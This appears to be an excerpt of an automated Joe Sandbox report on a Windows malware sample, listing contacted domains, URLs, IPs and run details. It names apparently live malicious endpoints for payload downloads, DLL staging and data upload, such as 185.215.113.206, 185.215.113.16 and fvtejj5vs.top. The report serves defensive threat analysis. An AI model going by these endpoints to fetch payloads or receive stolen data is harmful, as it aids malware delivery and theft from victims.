prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	high
twitter.com	104.244.42.193	true	false	high
plus.l.google.com	216.58.206.78	true	false	high
cook-rain.sbs	188.114.97.3	true	false	high
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	94.245.104.56	true	false	high
dyna.wikimedia.org	185.15.59.224	true	false	high
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	high
youtube.com	142.250.185.206	true	false	high
youtube-ui.l.google.com	142.250.184.206	true	false	high
play.google.com	142.250.185.174	true	false	high
reddit.map.fastly.net	151.101.1.140	true	false	high
sb.scorecardresearch.com	18.244.18.27	true	false	high
googlehosted.l.googleusercontent.com	142.250.186.33	true	false	high
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	high
www.reddit.com	unknown	unknown	false	high
c.msn.com	unknown	unknown	false	high
spocs.getpocket.com	unknown	unknown	false	high
ntp.msn.com	unknown	unknown	false	high
clients2.googleusercontent.com	unknown	unknown	false	high
content-signature-2.cdn.mozilla.net	unknown	unknown	false	high
support.mozilla.org	unknown	unknown	false	high
firefox.settings.services.mozilla.com	unknown	unknown	false	high
www.youtube.com	unknown	unknown	false	high
assets.msn.com	unknown	unknown	false	high
www.facebook.com	unknown	unknown	false	high
detectportal.firefox.com	unknown	unknown	false	high
normandy.cdn.mozilla.net	unknown	unknown	false	high
bzib.nelreports.net	unknown	unknown	false	high
shavar.services.mozilla.com	unknown	unknown	false	high
apis.google.com	unknown	unknown	false	high
api.msn.com	unknown	unknown	false	high
www.wikipedia.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/68b591d6548ec281/softokn3.dll	false		high
http://185.215.113.206/	false		high
.1.1home.fvtejj5vs.top	true	Avira URL Cloud: safe	unknown
fvtejj5vs.top	true	Avira URL Cloud: safe	unknown
peepburry828.sbs	false		high
http://185.215.113.43/Zu7JuNko/index.php	false		high
http://185.215.113.206/68b591d6548ec281/freebl3.dll	false		high
https://sb.scorecardresearch.com/b2?rn=1731883003604&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3ECA3735FCB561D93BD4220FFDE260F3&cs_fpit=o&cs_fpdm=null&cs_fpdt=null	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dll	false		high
https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731883007817&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
processhol.sbs	false		high
https://c.msn.com/c.gif?rnd=1731883003604&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7abd790206004287940ae14bdbdee503&activityId=7abd790206004287940ae14bdbdee503&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=6D9BB5B0E0484127B1A6FB7C14D22FA1&MUID=3ECA3735FCB561D93BD4220FFDE260F3	false		high
https://c.msn.com/c.gif?rnd=1731883003604&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=7abd790206004287940ae14bdbdee503&activityId=7abd790206004287940ae14bdbdee503&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0	false		high
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false		high
http://detectportal.firefox.com/canonical.html	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403	true	Avira URL Cloud: safe	unknown
QUERY\|rd\|AAAA\|IN\|home.fvtejj5vs.top	true	Avira URL Cloud: safe	unknown
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll	false		high
http://fvtejj5vs.top/v1/upload.php	true	Avira URL Cloud: safe	unknown
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731883003601&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731883006590&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
http://185.215.113.16/mine/random.exe	false		high
http://185.215.113.206/68b591d6548ec281/sqlite3.dll	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731883006594&w=0&anoncknm=app_anon&NoResponseBody=true	false		high
https://browser.events.data.msn.com/OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1731883007303&w=0&anoncknm=app_anon&NoResponseBody=true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0	file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	false		high
http://185.215.113.16/luma/random.exerlencodedy	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpEB	5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.broofa.com	chromecache_477.6.dr	false		high
http://185.215.113.16/luma/random.exe61395:	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/0	000003.log10.10.dr	false		high
https://deff.nelreports.net/api/report?cat=msn	2cc80dabc69f58b6_0.10.dr	false		high
https://workspace.google.com/:session_prefix:marketplace/appfinder?usegapi=1	chromecache_479.6.dr	false		high
https://docs.google.com/	manifest.json0.10.dr	false		high
https://curl.se/docs/hsts.html	5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	false		high
https://drive.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpaB8c	5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/-MargSj95	bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000BC2000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2483213897.0000000000BD3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cook-rain.sbs/Xj	bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.43/Zu7JuNko/index.phpKw8Mdp	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.php1wf	file.exe, 00000000.00000003.1516196301.0000000001959000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates4.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
http://185.215.113.43/15.113.43/ta	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK	KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.php996001	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/well/random.exe	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.1885742746.000000007013D000.00000002.00000001.01000000.0000000A.sdmp	false		high
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr	false		high
https://drive-daily-2.corp.google.com/	manifest.json0.10.dr	false		high
https://drive-daily-4.corp.google.com/	manifest.json0.10.dr	false		high
https://cook-rain.sbs/	bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2459738225.0000000000C19000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2412271308.0000000000C18000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2546282312.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A9E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllr	file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://crl.rootca1.amazontrust.com/rootca1.crl0	bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.php0	5b96a79886.exe, 0000001D.00000002.2425494913.0000000001117000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ocsp.rootca1.amazontrust.com0:	bef6a59ce6.exe, 0000001B.00000003.2386253756.00000000052DA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://curl.se/docs/alt-svc.html	5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ace-snapper-privately.ngrok-free.app/test/testFailed	5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, GIJECGDG.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206/c4becf79229cb002.php1	file.exe, 00000000.00000003.1516196301.0000000001959000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	KEHDBAEGIIIEBGCAAFHIDHDBFB.0.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.10.dr	false		high
http://185.215.113.206Z	5b96a79886.exe, 0000001D.00000002.2425494913.00000000010CE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://plus.google.com	chromecache_479.6.dr	false		high
http://185.215.113.206/68b591d6548ec281/vcruntime140.dll.	file.exe, 00000000.00000002.1827260082.0000000001908000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://play.google.com/log?format=json&hasfast=true	chromecache_477.6.dr	false		high
https://www.google.com/chrome	content.js.10.dr, content_new.js.10.dr	false		high
https://cook-rain.sbs:443/api	bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpF	file.exe, 00000000.00000002.1859292853.0000000023F97000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chromewebstore.google.com/	manifest.json.10.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpngPreference.Verb	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000000.00000002.1859292853.0000000023F86000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000002.2588705750.0000000000A91000.00000004.00000020.00020000.00000000.sdmp	false		high
https://drive-preprod.corp.google.com/	manifest.json0.10.dr	false		high
https://msn.comXIDv10	bef6a59ce6.exe, 0000001B.00000003.2358890568.00000000052B4000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2355983561.00000000052D5000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2356358121.00000000052B1000.00000004.00000800.00020000.00000000.sdmp, Cookies.11.dr	false	Avira URL Cloud: safe	unknown
http://31.41.244.11/files/random.exe	skotes.exe, 00000015.00000002.2589998714.0000000001701000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403libgcc_s_dw2-1.dll__register_frame_info__der	5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp	false	Avira URL Cloud: safe	unknown
https://chrome.google.com/webstore/	manifest.json.10.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS1731840403k	5454ad7c1c.exe, 00000019.00000002.2598413852.000000000164E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.206rontdesk	file.exe, 00000000.00000002.1824673224.0000000000DA5000.00000040.00000001.01000000.00000003.sdmp	false	Avira URL Cloud: safe	unknown
https://unitedstates2.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.10.dr	false		high
https://clients6.google.com	chromecache_479.6.dr	false		high
http://home.fvtejj5vs.top/rUdtpijYYaAroyCEkvvS17	5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cook-rain.sbs/N	bef6a59ce6.exe, 0000001B.00000002.2589564960.0000000000B9A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://html4/loose.dtd	5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpZp	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phph	file.exe, 00000000.00000002.1827260082.0000000001924000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe61395d7	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://ntp.msn.com/edge/ntp	000003.log10.10.dr	false		high
http://185.215.113.206/C:	5b96a79886.exe, 0000001D.00000002.2425494913.0000000001128000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpj	file.exe, 00000000.00000002.1859292853.0000000023F97000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1606586962.0000000023F2D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1515559941.000000000197A000.00000004.00000020.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312017756.00000000052FB000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2346528454.00000000052FF000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2312456137.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2345943732.0000000005307000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001B.00000003.2318808138.00000000052F9000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2495454713.0000000005278000.00000004.00000800.00020000.00000000.sdmp, bef6a59ce6.exe, 0000001E.00000003.2484352570.000000000528F000.00000004.00000800.00020000.00000000.sdmp, AKFHDBFI.0.dr, GIJECGDG.0.dr	false		high
http://.css	5454ad7c1c.exe, 00000019.00000002.2576051777.0000000000D2A000.00000040.00000001.01000000.0000000F.sdmp, 5454ad7c1c.exe, 00000019.00000003.2046450259.0000000007382000.00000004.00001000.00020000.00000000.sdmp	false		high
http://185.215.113.16/luma/random.exe	skotes.exe, 00000015.00000002.2589998714.0000000001714000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ntp.msn.com	2cc80dabc69f58b6_0.10.dr	false		high
https://drive-staging.corp.google.com/	manifest.json0.10.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
20.1.248.118	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.198.7.183	unknown	United States	20940	AKAMAI-ASN1EU	false
216.58.206.78	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
18.244.18.27	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
40.79.150.121	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
65.52.241.40	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.221.22.206	unknown	United States	20940	AKAMAI-ASN1EU	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
142.250.186.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
62.76.234.151	fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
188.114.97.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	false
142.250.181.228	www.google.com	United States	15169	GOOGLEUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
23.47.50.167	unknown	United States	16625	AKAMAI-ASUS	false
3.168.24.65	unknown	United States	16509	AMAZON-02US	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557245
Start date and time:	2024-11-17 22:19:12 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@98/322@100/27
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, conhost.exe, WmiPrvSE.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.18.3, 142.250.185.110, 142.250.110.84, 34.104.35.123, 142.250.186.35, 2.16.164.67, 142.250.186.138, 142.250.184.202, 216.58.206.42, 172.217.23.106, 142.250.185.106, 216.58.212.138, 216.58.206.74, 142.250.186.42, 142.250.185.170, 172.217.18.10, 142.250.185.202, 142.250.181.234, 142.250.186.74, 142.250.185.138, 142.250.186.170, 142.250.185.234, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.174, 13.107.6.158, 4.175.223.124, 104.124.11.19, 104.124.11.32, 2.23.209.187, 2.23.209.133, 2.23.209.140, 2.23.209.182, 2.23.209.149, 2.23.209.130, 2.18.64.203, 2.18.64.218, 2.23.209.179, 2.23.209.189, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.22.242.73, 2.22.242.155, 2.22.242.75, 2.22.242.156, 2.22.242.72, 2.22.242.147, 2.22.242.148, 2.22.242.154, 2.22.242.3, 199.232.210.172, 35.80.238.59, 52.12.64.98, 35.164.125.63, 142.250.184.234, 216.58.206.46, 2.22.61.59, 2.22.61.56, 142.251.116.94, 142.250.115.94, 142.250.114.94
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, clientservices.googleapis.com, aus5.mozilla.org, a19.dscg10.akamai.net, prod-agic-we-10.westeurope.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, location.services.mozilla.com, ciscobinary.openh264.org, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesu
Execution Graph export aborted for target DocumentsCGDHIEGCFH.exe, PID 2196 because it is empty
Execution Graph export aborted for target file.exe, PID 3576 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1020 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
